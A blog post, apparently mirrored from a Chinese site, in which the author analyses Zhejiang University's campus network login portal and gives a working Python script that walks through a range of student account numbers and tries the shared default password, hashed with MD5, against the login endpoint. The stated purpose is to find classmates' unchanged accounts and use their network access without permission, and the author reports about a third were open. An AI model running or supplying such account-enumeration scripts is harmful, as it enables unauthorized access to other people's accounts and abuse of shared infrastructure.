zoukankan      html  css  js  c++  java
  • Python爬虫学习(7):浙大软院网号嗅探

      软院这边网速是挺不错的,而且在宿舍和实验室都是可以通过学号直接登陆的上网的,但是..有的时候实验室的台式机需要一个网号,笔记本需要一个网号,或者再加上一个路由器需要一个,然后,感觉网号托托的不够呀。刚开学分配网号的时候,每个人的密码都初始为同一个,嘿嘿。。。有些人其实懒得去改,或者是去了遥远的杭州,然后,这些网号可能闲置了,嘿嘿。所以这一次的目的就是嗅探这些没有更改过网号密码的网号,然后,你懂得。但是作为一个四好青年,我不会狠到去更改他们的密码,只是在他们没有上网的时候借用他们的网号,当他们要上网的时候其实可以通过强退让我下线,然后他们自己可以用。

    1. 分析网络认证界面:

      其地址为: http://192.0.0.6/

      

      从下边的代码中我们可以发现,在处理登陆部分代码中使用了md5算法加密密码,其登陆需要的验证网址,所需要的参数:

      

      我们还可以通过浏览器帮助我们查看登陆的详情。用户名和密码点击登陆后,验证登陆信息的地址是: http://192.0.0.6/cgi-bin/do_login

      

      再查看以下登陆需要的参数,其中我输入的用户名和密码都是123456,很明显可以看出密码加密过了。

      

      加密了没关系,尝试了几次发现,虽然加密了,但是却用的静态的MD5加密,嘿嘿。。。,只要密码一样,每次加密的结果就会一样(-_-)。而我们这次仅仅是用初始密码来验证以下谁没有更改密码,所以我们用正确的密码尝试登陆一次,就可以获取它加密后的值应该是多少了,然后用这个值作为密码去模拟登陆,肯定是OK的啦。或者是直接去调用python 中的 hashlib 中的md5加密函数。

      下来我们看一下POST数据的时候还有什么处理,其代码如下图。其中XMLHttpRequest 对象是名为 AJAX 的 关键功能,用于异步请求。这里设置了Content-Type,所以这项在模拟登陆的需要设置。

      

      看看请求的时候具体都发送了什么请求头,这里我们为了避免出错,这模拟登陆的时候最好将User-Agent用户代理信息加上。

      

      我们接着来看一下登陆之后的逻辑,成功之后代码如下图所示。如果登陆成功并返回一串数字的时候,就根据是否记住密码选项决定是否写Cookie。

      

      如果失败了就根据返回内容做决定:

          

    2. 模拟登陆:

      根据上述的描述,我们尝试登陆以下:

    #!/usr/bin/python
    #! -*- coding:utf-8 -*-
    
    import urllib
    import urllib2
    import re
    import os
    
    class Sniffer:
        def __init__(self):
            self.login_url = "http://192.0.0.6/cgi-bin/do_login"
            self.headers = {}
            self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
            self.headers["Content-Type"] = "application/x-www-form-urlencoded"
        def test(self):
            username="123456"
            password="123456"
            drop="0"
            # 直接从原始页面的代码中复制过来的
            data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100"
            req = urllib2.Request(self.login_url,data=data,headers=self.headers)
            res = urllib2.urlopen(req)
            print res.read()
    sniffer = Sniffer()
    sniffer.test()

      上述运行结果为: username_error,用户错误。我们看一下总共有哪些返回信息:

             case "user_tab_error":
                 alert("认证程序未启动");
                 break;             
             case "username_error":
                 alert("用户名错误");
                 break;             
             case "non_auth_error":
                 alert("您无须认证,可直接上网");
                 break;             
             case "password_error":
                 alert("密码错误");break;      
             case "status_error":
                 alert("用户已欠费,请尽快充值。");
                 break;          
             case "available_error":
                 alert("用户已禁用");
                 break;             
             case "ip_exist_error":
                 alert("您的IP尚未下线,请等待2分钟再试。");
                 break;             
             case "usernum_error":
                 alert("用户数已达上限");
                 break;              
             case "online_num_error":
                 alert("该帐号的登录人数已超过限额
    如果怀疑帐号被盗用,请联系管理员。");
                 break;                
             case "mode_error":
                 alert("系统已禁止WEB方式登录,请使用客户端");
                 break;           
             case "time_policy_error":
                 alert("当前时段不允许连接");
                 break;             
             case "flux_error":
                 alert("您的流量已超支");
                 break;             
             case "minutes_error":
                 alert("您的时长已超支");
                 break;             
             case "ip_error":
                 alert("您的IP地址不合法");
                 break;             
             case "mac_error":
                 alert("您的MAC地址不合法");
                 break;             
             case "sync_error":
                 alert("您的资料已修改,正在等待同步,请2分钟后再试。");
                 break;             
             default:
                 alert("找不到认证服务器");
                 break;        

      其中当返回为online_num_errorip_exist_error,以及一串数字的时候(也就是登陆成功)的时候就表明用户名和密码是正确的(-_-),是的...就是这么简单。

      我们将username设置为网号范围的网号,遍历访问,而password就是初始密码经过md5加密过的密码,获取这个加密过的密码可以通过进入浏览器的查看界面(火狐是F12),然后输入初始密码,提交之后可以在,在参数一项中看到:

      

      下来我们就通过遍历来获取没有改过密码的网号:

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    import urllib
    import urllib2
    import re
    import os
    import hashlib
    
    class Sniffer:
        def __init__(self):
            self.login_url = "http://192.0.0.6/cgi-bin/do_login"
            self.headers = {}
            self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
            self.headers["Content-Type"] = "application/x-www-form-urlencoded"
            # 密码正确的可呢返回结果
            self.right = ["ip_exist_error","online_num_error","usernum_error"]
            # 登陆成功后返回的结果是一串数字
            self.pattern = re.compile(r"^[d]+$")
        def access(self,username,password):
            # 这个密码就是初始密码经过md3u加密过的
            # 页面中只是获取了加密的从第8位置开始的16个的字符
            password = self.get_md5(password)[8:24]
            # 直接从原始页面的代码中复制过来的
            data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"
            req = urllib2.Request(self.login_url,data=data,headers=self.headers)
            res = urllib2.urlopen(req)
            content = res.read()
            mat = re.match(self.pattern,content)
            # 登陆成功
            if mat:
                return True
            # 其它密码正确的情况
            if content in self.right:
                return True
            else:
                return False
    
        # 获取信息的md5摘要信息
        def get_md5(self,original):
            m = hashlib.md5()
            m.update(original)
            return m.hexdigest()
    
        def trace(self,start,end):
            result = []
         # 这里设定初始密码 password
    = "*******" for account in range(start,end): print "sniff "+str(account) if self.access(str(account),password): print str(account)+" is avialable" result.append(str(account)) return result sniffer = Sniffer() # 传入开始帐号和结束帐号 start = input("the start account: ") end = input("the end account: ") print sniffer.trace(int(start),int(end))

        执行上述脚本就会产生没有改过密码的帐号啦。

         执行结果显示有三分之一的同学都没有改密码,这个比例相当的高呀。

      

      

  • 相关阅读:
    [LeetCode] Container With Most Water
    [LeetCode] Sort List 排序 sort
    c/c++: c++函数返回类型什么情况带const
    [LeetCode] Restore IP Addresses 回溯
    [LeetCode] Binary Tree Inorder Traversal 中序排序
    [LeetCode] Evaluate Reverse Polish Notation stack 栈
    [acmm week12]染色(容斥定理+组合数+逆元)
    [acmm week12]二分+dp+单调队列
    [csp-201809-3]元素选择器-编译原理
    [csp-201709-3]JSON查询-编译原理
  • 原文地址:https://www.cnblogs.com/linux-wangkun/p/5990476.html
Copyright © 2011-2022 走看看